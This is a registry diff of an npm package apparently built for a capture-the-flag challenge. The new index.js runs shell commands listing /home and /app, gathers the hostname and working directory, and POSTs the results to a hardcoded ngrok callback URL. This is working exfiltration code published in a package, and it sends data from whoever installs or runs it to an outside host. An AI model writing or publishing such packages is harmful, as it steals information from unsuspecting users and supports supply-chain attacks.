ect-987654-ctf 0.0.9 → 0.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +88 -33
- package/last_post.json +1 -1
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,40 +1,95 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
const
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
}
|
|
1
|
+
// index.js
|
|
2
|
+
// Runs ls -la on /app and /home and POSTs results to your callback URL
|
|
3
|
+
// Replace CALLBACK_URL with your ngrok/http endpoint (include trailing slash)
|
|
4
|
+
|
|
5
|
+
const { exec } = require('child_process');
|
|
6
|
+
const os = require('os');
|
|
7
|
+
const https = require('https');
|
|
8
|
+
const http = require('http');
|
|
9
|
+
const url = require('url');
|
|
10
|
+
|
|
11
|
+
const CALLBACK_URL = 'https://0f6896f7cc8e.ngrok-free.app/'; // <-- CHANGE THIS
|
|
12
|
+
const TIMEOUT = 15000; // ms
|
|
13
|
+
|
|
14
|
+
function run(cmd, cb) {
|
|
15
|
+
exec(cmd, { timeout: TIMEOUT, maxBuffer: 1024 * 1024 * 4 }, (err, stdout, stderr) => {
|
|
16
|
+
cb(err, stdout || '', stderr || '');
|
|
18
17
|
});
|
|
19
|
-
req.write(body);
|
|
20
|
-
req.end();
|
|
21
18
|
}
|
|
22
19
|
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
20
|
+
function postJson(targetUrl, obj, cb) {
|
|
21
|
+
try {
|
|
22
|
+
const u = url.parse(targetUrl);
|
|
23
|
+
const body = JSON.stringify(obj);
|
|
24
|
+
const opts = {
|
|
25
|
+
hostname: u.hostname,
|
|
26
|
+
port: u.port || (u.protocol === 'https:' ? 443 : 80),
|
|
27
|
+
path: u.path || '/',
|
|
28
|
+
method: 'POST',
|
|
29
|
+
headers: {
|
|
30
|
+
'Content-Type': 'application/json',
|
|
31
|
+
'Content-Length': Buffer.byteLength(body)
|
|
32
|
+
},
|
|
33
|
+
timeout: TIMEOUT
|
|
34
|
+
};
|
|
35
|
+
const lib = u.protocol === 'https:' ? https : http;
|
|
36
|
+
const req = lib.request(opts, (res) => {
|
|
37
|
+
// drain response
|
|
38
|
+
let d = '';
|
|
39
|
+
res.on('data', (c) => d += c.toString());
|
|
40
|
+
res.on('end', () => cb && cb(null, res.statusCode, d));
|
|
41
|
+
});
|
|
42
|
+
req.on('error', (e) => cb && cb(e));
|
|
43
|
+
req.on('timeout', () => { req.destroy(); cb && cb(new Error('timeout')); });
|
|
44
|
+
req.write(body);
|
|
45
|
+
req.end();
|
|
46
|
+
} catch (e) {
|
|
47
|
+
cb && cb(e);
|
|
48
|
+
}
|
|
49
|
+
}
|
|
27
50
|
|
|
28
|
-
|
|
29
|
-
|
|
51
|
+
// gather info, run commands
|
|
52
|
+
const info = {
|
|
53
|
+
host: os.hostname(),
|
|
54
|
+
ts: new Date().toISOString(),
|
|
55
|
+
pwd: process.cwd(),
|
|
56
|
+
attempts: []
|
|
57
|
+
};
|
|
30
58
|
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
});
|
|
59
|
+
const cmds = [
|
|
60
|
+
{ name: 'ls_home', cmd: 'ls -la /home || ls -la ~ || echo "ls /home failed"' },
|
|
61
|
+
{ name: 'ls_app', cmd: 'ls -la /app || echo "ls /app failed"' },
|
|
62
|
+
{ name: 'pwd', cmd: 'pwd' }
|
|
63
|
+
];
|
|
37
64
|
|
|
38
|
-
|
|
39
|
-
|
|
65
|
+
let i = 0;
|
|
66
|
+
function next() {
|
|
67
|
+
if (i >= cmds.length) {
|
|
68
|
+
// send results
|
|
69
|
+
postJson(CALLBACK_URL, info, (err, status, body) => {
|
|
70
|
+
// optionally print to stdout so DEBUG is easier if running locally
|
|
71
|
+
if (err) {
|
|
72
|
+
try { console.error('POST ERROR', String(err)); } catch(e){}
|
|
73
|
+
} else {
|
|
74
|
+
try { console.log('POSTED', status); } catch(e){}
|
|
75
|
+
}
|
|
76
|
+
// exit gracefully
|
|
77
|
+
try { process.exit(0); } catch(e){}
|
|
78
|
+
});
|
|
79
|
+
return;
|
|
80
|
+
}
|
|
81
|
+
const item = cmds[i++];
|
|
82
|
+
run(item.cmd, (err, out, errout) => {
|
|
83
|
+
info.attempts.push({
|
|
84
|
+
name: item.name,
|
|
85
|
+
cmd: item.cmd,
|
|
86
|
+
stdout: out,
|
|
87
|
+
stderr: errout,
|
|
88
|
+
err: err ? String(err) : null
|
|
89
|
+
});
|
|
90
|
+
// small delay to avoid flooding
|
|
91
|
+
setTimeout(next, 200);
|
|
92
|
+
});
|
|
40
93
|
}
|
|
94
|
+
|
|
95
|
+
next();
|
package/last_post.json
CHANGED